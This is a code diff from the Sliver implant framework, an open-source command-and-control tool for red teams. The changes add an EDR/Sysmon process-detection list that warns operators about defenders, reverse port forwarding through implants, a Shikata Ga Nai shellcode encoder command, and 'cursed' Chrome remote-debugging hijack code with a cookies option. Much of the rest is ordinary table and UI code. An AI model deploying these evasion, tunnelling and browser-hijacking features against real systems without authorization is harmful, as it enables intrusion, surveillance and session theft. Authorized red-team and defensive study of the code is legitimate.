+		"SentinelBrowserNativeHost.exe":   {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelUI.exe":                  {console.Red, "SentinelOne"},                  // Sentinel One
+		"Sysmon.exe":                  	   {console.Red, "Sysmon"},                  	  // Sysmon
+		"Sysmon64.exe":                    {console.Red, "Sysmon64"},                     // Sysmon64		
+		"CylanceSvc.exe":                  {console.Red, "Cylance"},                      // Cylance
+		"CylanceUI.exe":                   {console.Red, "Cylance"},                      // Cylance
+		"TaniumClient.exe":                {console.Red, "Tanium"},                       // Tanium
+		"TaniumCX.exe":                    {console.Red, "Tanium"},                       // Tanium
+		"TaniumDetectEngine.exe":          {console.Red, "Tanium"},                       // Tanium
 	}
 )
 
@@ -110,13 +137,13 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
 
 	switch os {
 	case "windows":
-		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
+		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
 	case "darwin":
 		fallthrough
 	case "linux":
-		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
+		fallthrough
 	default:
-		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
+		tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
 	}
 
 	cmdLine := ctx.Flags.Bool("print-cmdline")
@@ -134,8 +161,8 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
 		tw.AppendRow(row)
 	}
 	tw.SortBy([]table.SortBy{
-		{Name: "pid", Mode: table.Asc},
-		{Name: "ppid", Mode: table.Asc},
+		{Name: "pid", Mode: table.AscNumeric},
+		{Name: "ppid", Mode: table.AscNumeric},
 	})
 	if !interactive {
 		overflow = true
@@ -182,6 +209,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, args),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
 			}
@@ -190,6 +218,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
 			}
@@ -210,6 +239,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, args),
 			}
 		} else {
@@ -217,6 +247,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
 				fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
+				fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
 				fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
 			}
 		}

client/command/reaction/save.go

@@ -19,6 +19,7 @@ package reaction
 */
 
 import (
+	"fmt"
 	"os"
 
 	"github.com/AlecAivazis/survey/v2"
@@ -29,9 +30,10 @@ import (
 
 // ReactionSaveCmd - Manage reactions to events
 func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
+	reactionPath := GetReactionFilePath()
+	if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
 		confirm := false
-		prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
+		prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
 		survey.AskOne(prompt, &confirm)
 		if !confirm {
 			return
@@ -41,6 +43,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 	} else {
-		con.PrintInfof("Saved reactions to disk\n")
+		con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
 	}
 }

client/command/rportfwd/portfwd-add.go

@@ -0,0 +1,77 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"regexp"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+
+	"github.com/desertbit/grumble"
+)
+
+var (
+	portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	if session.GetActiveC2() == "dns" {
+		con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
+	}
+
+	bindAddress := ctx.Flags.String("bind")
+	// Check if the bind address is just a port number, if no host is specified
+	// we just bind to all interfaces implant-side
+	if portNumberOnlyRegexp.MatchString(bindAddress) {
+		bindAddress = fmt.Sprintf(":%s", bindAddress)
+	}
+
+	forwardAddress := ctx.Flags.String("remote")
+	// Check if the forward address is just a port number, if no host is specified
+	// we just forward to localhost client-side
+	if portNumberOnlyRegexp.MatchString(forwardAddress) {
+		forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
+	}
+	rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
+		Request:        con.ActiveTarget.Request(ctx),
+		BindAddress:    bindAddress,
+		ForwardAddress: forwardAddress,
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	printStartedRportFwdListener(rportfwdListener, con)
+}
+
+func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
+	if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
+		con.PrintErrorf("%s", rportfwdListener.Response.Err)
+		return
+	}
+	con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
+}

client/command/rportfwd/portfwd-rm.go

@@ -0,0 +1,55 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+
+	"github.com/desertbit/grumble"
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	listenerID := ctx.Flags.Int("id")
+	rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
+		Request: con.ActiveTarget.Request(ctx),
+		ID:      uint32(listenerID),
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	printStoppedRportFwdListener(rportfwdListener, con)
+}
+
+func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
+	if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
+		con.PrintErrorf("%s", rportfwdListener.Response.Err)
+		return
+	}
+	con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
+}

client/command/rportfwd/portfwd.go

@@ -0,0 +1,74 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
+}
+
+func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
+	if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
+		con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
+		return
+	}
+
+	if len(rportfwdListeners.Listeners) == 0 {
+		con.PrintInfof("No reverse port forwards\n")
+		return
+	}
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Remote Address",
+		"Bind Address",
+	})
+	for _, p := range rportfwdListeners.Listeners {
+		tw.AppendRow(table.Row{
+			p.ID,
+			p.ForwardAddress,
+			p.BindAddress,
+		})
+	}
+	con.Printf("%s\n", tw.Render())
+}

client/command/sessions/sessions.go

@@ -130,8 +130,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
+	wideTermWidth := con.Settings.SmallTermWidth < width
 
-	if con.Settings.SmallTermWidth < width {
+	if wideTermWidth {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -140,6 +141,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 			"Hostname",
 			"Username",
 			"Operating System",
+			"Locale",
 			"Last Message",
 			"Health",
 		})
@@ -177,7 +179,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 		username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
 
 		var rowEntries []string
-		if con.Settings.SmallTermWidth < width {
+		if wideTermWidth {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Name),
@@ -186,7 +188,8 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 				fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, username),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
-				fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
+				con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
 				burned + SessionHealth,
 			}
 		} else {

client/command/settings/settings.go

@@ -47,6 +47,7 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
 	tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
 	tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
+	tw.AppendRow(table.Row{"Vim mode", con.Settings.VimMode, "Navigation mode, vim style"})
 	con.Printf("%s\n", tw.Render())
 }
 

client/command/shell/shell.go

@@ -61,6 +61,8 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }
 
 func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
+	con.Println()
+	con.PrintInfof("Wait approximately 10 seconds after exit, and press <enter> to continue\n")
 	con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
 	session := con.ActiveTarget.GetSession()
 	if session == nil {

client/command/shikata-ga-nai/sgn.go

@@ -0,0 +1,81 @@
+package sgn
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/hex"
+	"io/ioutil"
+	"path/filepath"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
+func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	shellcodeFile := ctx.Args.String("shellcode")
+	rawShellcode, err := ioutil.ReadFile(shellcodeFile)
+	if err != nil {
+		con.PrintErrorf("Failed to read shellcode file: %s", err)
+		return
+	}
+
+	arch := ctx.Flags.String("arch")
+	iterations := ctx.Flags.Int("iterations")
+	rawBadChars := ctx.Flags.String("bad-chars")
+	badChars, err := hex.DecodeString(rawBadChars)
+	if err != nil {
+		con.PrintErrorf("Failed to decode bad chars: %s", err)
+		return
+	}
+
+	con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
+
+	shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+		Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+		Architecture: arch,
+		Iterations:   uint32(iterations),
+		BadChars:     badChars,
+		Data:         rawShellcode,
+		Request:      con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
+		con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
+		return
+	}
+
+	outputFile := ctx.Flags.String("save")
+	if outputFile == "" {
+		outputFile = filepath.Base(shellcodeFile)
+		outputFile += ".sgn"
+	}
+
+	err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
+	if err != nil {
+		con.PrintErrorf("Failed to write shellcode file: %s", err)
+		return
+	}
+	con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
+}

client/command/tasks/fetch.go

@@ -157,6 +157,8 @@ func emojiState(state string) string {
 		return "⏳"
 	case "failed":
 		return "❌"
+	case "canceled":
+		return "🚫"
 	default:
 		return "❓"
 	}

client/command/tasks/tasks-cancel.go

@@ -0,0 +1,60 @@
+package tasks
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// TasksCancelCmd - Cancel a beacon task before it's sent to the implant
+func TasksCancelCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	beacon := con.ActiveTarget.GetBeaconInteractive()
+	if beacon == nil {
+		return
+	}
+
+	idArg := ctx.Args.String("id")
+	var task *clientpb.BeaconTask
+	var err error
+	if idArg == "" {
+		beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		tasks := []*clientpb.BeaconTask{}
+		for _, task := range beaconTasks.Tasks {
+			if task.State == "pending" {
+				tasks = append(tasks, task)
+			}
+		}
+		if len(tasks) == 0 {
+			con.PrintErrorf("No pending tasks for beacon\n")
+			return
+		}
+
+		task, err = SelectBeaconTask(tasks)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Printf(console.UpN+console.Clearln, 1)
+	} else {
+		task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+
+	if task != nil {
+		task, err := con.Rpc.CancelBeaconTask(context.Background(), task)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("Task %s canceled\n", task.ID)
+	}
+}

client/command/tasks/tasks.go

@@ -97,6 +97,8 @@ func prettyState(state string) string {
 		return console.Bold + console.Orange + state + console.Normal
 	case "completed":
 		return console.Bold + console.Green + state + console.Normal
+	case "canceled":
+		return console.Bold + console.Gray + state + console.Normal
 	default:
 		return state
 	}

client/console/console.go

@@ -113,6 +113,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 			HelpHeadlineColor:     color.New(),
 			HelpHeadlineUnderline: true,
 			HelpSubCommands:       true,
+			VimMode:               settings.VimMode,
 		}),
 		Rpc: rpc,
 		ActiveTarget: &ActiveTarget{
@@ -215,6 +216,7 @@ func (con *SliverConsoleClient) EventLoop() {
 				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
 			activeSession := con.ActiveTarget.GetSession()
 			core.GetTunnels().CloseForSession(session.ID)
+			core.CloseCursedProcesses(session.ID)
 			if activeSession != nil && activeSession.ID == session.ID {
 				con.ActiveTarget.Set(nil, nil)
 				con.PrintEventErrorf("Active session disconnected")
@@ -523,6 +525,34 @@ func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) {
 	go spin.Until(con.App.Stdout(), message, ctrl)
 }
 
+// FormatDateDelta - Generate formatted date string of the time delta between then and now
+func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string {
+	nextTime := t.Format(time.UnixDate)
+
+	var interval string
+
+	if t.Before(time.Now()) {
+		if includeDate {
+			interval = fmt.Sprintf("%s (%s ago)", nextTime, time.Since(t).Round(time.Second))
+		} else {
+			interval = time.Since(t).Round(time.Second).String()
+		}
+		if color {
+			interval = fmt.Sprintf("%s%s%s", Bold+Red, interval, Normal)
+		}
+	} else {
+		if includeDate {
+			interval = fmt.Sprintf("%s (in %s)", nextTime, time.Until(t).Round(time.Second))
+		} else {
+			interval = time.Until(t).Round(time.Second).String()
+		}
+		if color {
+			interval = fmt.Sprintf("%s%s%s", Bold+Green, interval, Normal)
+		}
+	}
+	return interval
+}
+
 //
 // -------------------------- [ Active Target ] --------------------------
 //

client/constants/constants.go

@@ -88,6 +88,12 @@ const (
 
 	// BeaconTaskResult - Beacon task completed with a result
 	BeaconTaskResultEvent = "beacon-taskresult"
+
+	// ExternalBuildEvent
+	ExternalBuildEvent = "external-build"
+
+	// WireGuardNewPeer - New Wireguard peer added
+	WireGuardNewPeer = "wireguard-newpeer"
 )
 
 // Commands
@@ -104,6 +110,7 @@ const (
 	ReconfigStr     = "reconfig"
 	PruneStr        = "prune"
 	TasksStr        = "tasks"
+	CancelStr       = "cancel"
 	GenerateStr     = "generate"
 	RegenerateStr   = "regenerate"
 	CompilerInfoStr = "info"
@@ -223,8 +230,9 @@ const (
 	InteractiveStr        = "interactive"
 	CloseStr              = "close"
 
-	PortfwdStr = "portfwd"
-	Socks5Str  = "socks5"
+	PortfwdStr  = "portfwd"
+	Socks5Str   = "socks5"
+	RportfwdStr = "rportfwd"
 
 	ReactionStr = "reaction"
 
@@ -236,6 +244,15 @@ const (
 	GetPrivsStr        = "getprivs"
 	PreludeOperatorStr = "prelude-operator"
 	ConnectStr         = "connect"
+
+	ShikataGaNai = "shikata-ga-nai"
+
+	Cursed         = "cursed"
+	CursedChrome   = "chrome"
+	CursedConsole  = "console"
+	CursedElectron = "electron"
+	CursedEdge     = "edge"
+	CursedCookies  = "cookies"
 )
 
 // Groups

client/core/curses.go

@@ -0,0 +1,92 @@
+package core
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"net/url"
+	"sync"
+)
+
+var (
+	// SessionID -> CursedProcess
+	CursedProcesses = &sync.Map{}
+)
+
+type CursedProcess struct {
+	SessionID         string
+	PID               uint32
+	BindTCPPort       int
+	PortFwd           *Portfwd
+	Platform          string
+	ExePath           string
+	ChromeUserDataDir string
+}
+
+func (c *CursedProcess) DebugURL() *url.URL {
+	return &url.URL{
+		Scheme: "http",
+		Host:   fmt.Sprintf("localhost:%d", c.BindTCPPort),
+		Path:   "/json",
+	}
+}
+
+func CursedProcessBySessionID(sessionID string) []*CursedProcess {
+	var cursedProcesses []*CursedProcess
+	CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcess := value.(*CursedProcess)
+		if cursedProcess.SessionID == sessionID {
+			cursedProcesses = append(cursedProcesses, cursedProcess)
+		}
+		return true
+	})
+	return cursedProcesses
+}
+
+func CloseCursedProcesses(sessionID string) {
+	CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcess := value.(*CursedProcess)
+		if cursedProcess.SessionID == sessionID {
+			defer func() {
+				value, loaded := CursedProcesses.LoadAndDelete(key)
+				if loaded {
+					curse := value.(*CursedProcess)
+					Portfwds.Remove(curse.PortFwd.ID)
+				}
+			}()
+		}
+		return true
+	})
+}
+
+func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
+	CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcess := value.(*CursedProcess)
+		if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
+			defer func() {
+				value, loaded := CursedProcesses.LoadAndDelete(key)
+				if loaded {
+					curse := value.(*CursedProcess)
+					Portfwds.Remove(curse.PortFwd.ID)
+				}
+			}()
+		}
+		return true
+	})
+}

client/licenses/licenses.go

@@ -85,6 +85,30 @@ POSSIBILITY OF SUCH DAMAGE.
 
 ======================================================================================================
 
+MIT License
+
+Copyright (c) 2019 Ege Balcı
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+======================================================================================================
+
 BSD 3-Clause License
 
 Copyright (c) 2018, b4rtik

client/overlord/overlord.go

@@ -0,0 +1,371 @@
+package overlord
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"log"
+	"net/http"
+	"net/url"
+	"time"
+
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/chromedp/cdproto/cdp"
+	"github.com/chromedp/cdproto/network"
+	"github.com/chromedp/cdproto/page"
+	"github.com/chromedp/cdproto/target"
+	"github.com/chromedp/chromedp"
+)
+
+const (
+	// AllURLs - All URLs permission
+	AllURLs = "<all_urls>"
+
+	// AllHTTP - All HTTP permission
+	AllHTTP = "http://*/*"
+
+	// AllHTTPS - All HTTP permission
+	AllHTTPS = "https://*/*"
+
+	// WebRequest - WebRequest permission
+	WebRequest = "webRequest"
+
+	// WebRequestBlocking - WebRequestBlocking permission
+	WebRequestBlocking = "webRequestBlocking"
+
+	// FetchManifestJS - Get extension manifest
+	FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
+)
+
+var (
+	// ErrTargetNotFound - Returned when a target cannot be found
+	ErrTargetNotFound = errors.New("Target not found")
+)
+
+// ManifestBackground - An extension manifest file
+type ManifestBackground struct {
+	Scripts    []string `json:"scripts"`
+	Persistent bool     `json:"persistent"`
+}
+
+// Manifest - An extension manifest file
+type Manifest struct {
+	Name            string             `json:"name"`
+	Version         string             `json:"version"`
+	Description     string             `json:"description"`
+	ManifestVersion int                `json:"manifest_version"`
+	Permissions     []string           `json:"permissions"`
+	Background      ManifestBackground `json:"background"`
+}
+
+// ChromeDebugTarget - A single debug context object
+type ChromeDebugTarget struct {
+	Description          string `json:"description"`
+	DevToolsFrontendURL  string `json:"devtoolsFrontendUrl"`
+	ID                   string `json:"id"`
+	Title                string `json:"title"`
+	Type                 string `json:"type"`
+	URL                  string `json:"url"`
+	WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
+}
+
+var allocCtx context.Context
+
+func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
+	opts := []func(*chromedp.ExecAllocator){
+		chromedp.Flag("restore-last-session", true),
+		chromedp.UserDataDir(userHomeDir),
+	}
+	switch platform {
+	case "darwin":
+		opts = append(opts,
+			chromedp.Flag("headless", false),
+			chromedp.Flag("use-mock-keychain", false),
+		)
+	default:
+		opts = append(opts, chromedp.Headless)
+	}
+	opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
+	return opts
+}
+
+func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
+	var (
+		cancel context.CancelFunc
+	)
+	if webSocketURL != "" {
+		allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
+	} else {
+		opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
+		allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
+	}
+	taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
+	return taskCtx, taskCancel, cancel
+}
+
+func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
+	targets, err := chromedp.Targets(ctx)
+	if err != nil {
+		return nil
+	}
+	for _, targetInfo := range targets {
+		if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
+			return targetInfo
+		}
+	}
+	return nil
+}
+
+func contains(haystack []string, needle string) bool {
+	set := make(map[string]struct{}, len(haystack))
+	for _, entry := range haystack {
+		set[entry] = struct{}{}
+	}
+	_, ok := set[needle]
+	return ok
+}
+
+func containsAll(haystack []string, needles []string) bool {
+	all := true
+	for _, needle := range needles {
+		if !contains(haystack, needle) {
+			all = false
+			break
+		}
+	}
+	return all
+}
+
